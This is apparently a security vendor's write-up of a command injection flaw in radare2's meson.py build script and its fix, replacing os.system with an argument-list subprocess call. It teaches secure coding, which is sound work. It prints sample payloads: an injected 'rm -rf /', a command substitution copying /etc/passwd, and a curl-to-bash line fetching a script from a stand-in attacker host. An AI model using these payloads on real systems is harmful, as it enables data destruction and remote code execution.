How shell command injection happens in Python subprocess and how to fix it

Introduction

In the radare2 reverse engineering framework's build system, we discovered a critical command injection vulnerability in sys/meson.py at line 264. The file handles build configuration and repository synchronization, but a flaw in how git commands were executed created a serious security risk that could allow attackers to execute arbitrary commands with the privileges of the build process.

The vulnerable code used Python's os.system() function with an f-string to construct a git pull command:

os.system(f'git pull {remote} master')

This pattern is dangerous because the remote variable is derived from parsing git remote output, and if an attacker could influence this value—through a malicious repository configuration or by manipulating upstream remotes—they could inject shell metacharacters to execute arbitrary commands.

The Vulnerability Explained

Shell command injection occurs when an application constructs a command string using untrusted input and passes it to a shell for execution. In this case, the meson.py script was building a git command dynamically:

# Vulnerable code (before fix)
remote = re.search(r'(.*?)\t.*radareorg/radare2 \(fetch\)', upstream_remote).group(1)
# ... exception handling sets fallback ...
remote = 'https://github.com/radareorg/radare2'
os.system(f'git pull {remote} master')

The remote variable is extracted from the output of a git remote command using a regex. While the code has a fallback to a safe URL, the primary path uses whatever the regex captures from the system's git configuration.

How Could This Be Exploited?

Consider an attacker who has write access to the repository's git configuration or can influence environment variables. They could craft a malicious remote name like:

https://github.com/radareorg/radare2; rm -rf / #

When interpolated into the f-string and executed via os.system(), this becomes:

git pull https://github.com/radareorg/radare2; rm -rf / # master

The shell interprets the semicolon as a command separator, executing rm -rf / with whatever privileges the build process has. The # comments out the remaining master argument.

Other dangerous payloads include:
- $(cat /etc/passwd > /tmp/leaked) — command substitution to exfiltrate data
- || curl attacker.com/shell.sh | bash — download and execute malicious scripts
- `id` — backtick command substitution

Real-World Impact

For a build system like radare2's meson.py, the impact is significant:

1. Build Server Compromise: CI/CD systems running this script could be fully compromised
2. Supply Chain Attacks: Malicious code could be injected into build artifacts
3. Credential Theft: Build environments often have access to signing keys, deployment credentials, and other secrets
4. Lateral Movement: Compromised build servers can be used as pivot points into internal networks

The Fix

The fix replaces os.system() with subprocess.call() using a list of arguments:

Before (Vulnerable)

os.system(f'git pull {remote} master')

After (Fixed)

subprocess.call(['git', 'pull', remote, 'master'])

This change is deceptively simple but fundamentally alters how the command is executed:

1. No Shell Interpretation: When subprocess.call() receives a list, it executes the program directly without invoking a shell. The first element ('git') is the executable, and subsequent elements are passed as literal arguments.

2. Arguments Are Atomic: Even if remote contains ; rm -rf /, it's passed as a single argument to git, not interpreted as multiple shell commands. Git will simply fail to find a remote with that name.

3. Default Safety: subprocess.call() defaults to shell=False, making the safe behavior the default.

The PR also notes that similar patterns exist at lines 301 and 305 in the same file, which should be reviewed for the same vulnerability pattern.

Prevention & Best Practices

Never Use os.system()

The os.system() function always invokes a shell and should be considered deprecated for security-sensitive code. Replace all instances with subprocess module equivalents.

Use Argument Lists, Not Strings

# DANGEROUS - shell interprets the string
subprocess.call('git pull ' + remote + ' master', shell=True)

# SAFE - no shell interpretation
subprocess.call(['git', 'pull', remote, 'master'])

Explicitly Set shell=False

Even though shell=False is the default, being explicit improves code clarity and prevents accidental changes:

subprocess.call(['git', 'pull', remote, 'master'], shell=False)

Use shlex.quote() When Shell Is Unavoidable

In rare cases where shell features are genuinely needed, use shlex.quote() to escape arguments:

import shlex
# Still not ideal, but safer
os.system(f'git pull {shlex.quote(remote)} master')

Static Analysis Integration

Configure linters to flag dangerous patterns:
- Semgrep rules for os.system() and shell=True
- Bandit security linter for Python
- Custom pre-commit hooks

Key Takeaways

• The os.system() function in meson.py:264 was a ticking time bomb — any influence over the remote variable could lead to full system compromise
• Build scripts are high-value targets because they often run with elevated privileges and have access to sensitive credentials
• The regex extraction of remote from git output created an untrusted data flow that reached a dangerous sink
• Switching from string interpolation to argument lists eliminates entire classes of injection attacks without requiring input validation
• Similar patterns at meson.py:301 and meson.py:305 should be audited for the same vulnerability

How Orbis AppSec Detected This

• Source: The remote variable extracted via regex from upstream_remote git output at line 262
• Sink: os.system(f'git pull {remote} master') at sys/meson.py:264
• Missing control: No sanitization or escaping of the remote variable before shell execution; use of os.system() instead of safe subprocess APIs
• CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
• Fix: Replaced os.system() with subprocess.call() using an argument list, eliminating shell interpretation

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This vulnerability in meson.py demonstrates why shell command construction requires extreme care. The combination of os.system() with f-string interpolation created a direct path from potentially attacker-influenced data to arbitrary command execution. The fix—using subprocess.call() with an argument list—is both simple and comprehensive, eliminating shell interpretation entirely.

When writing build scripts or any code that executes system commands, always default to the safest APIs available. In Python, that means subprocess with argument lists and shell=False. Your future self (and your security team) will thank you.

References

• CWE-78: OS Command Injection
• OWASP Command Injection Prevention Cheat Sheet
• Python subprocess documentation
• Semgrep rules for command injection
• fix: sanitize subprocess call in meson.py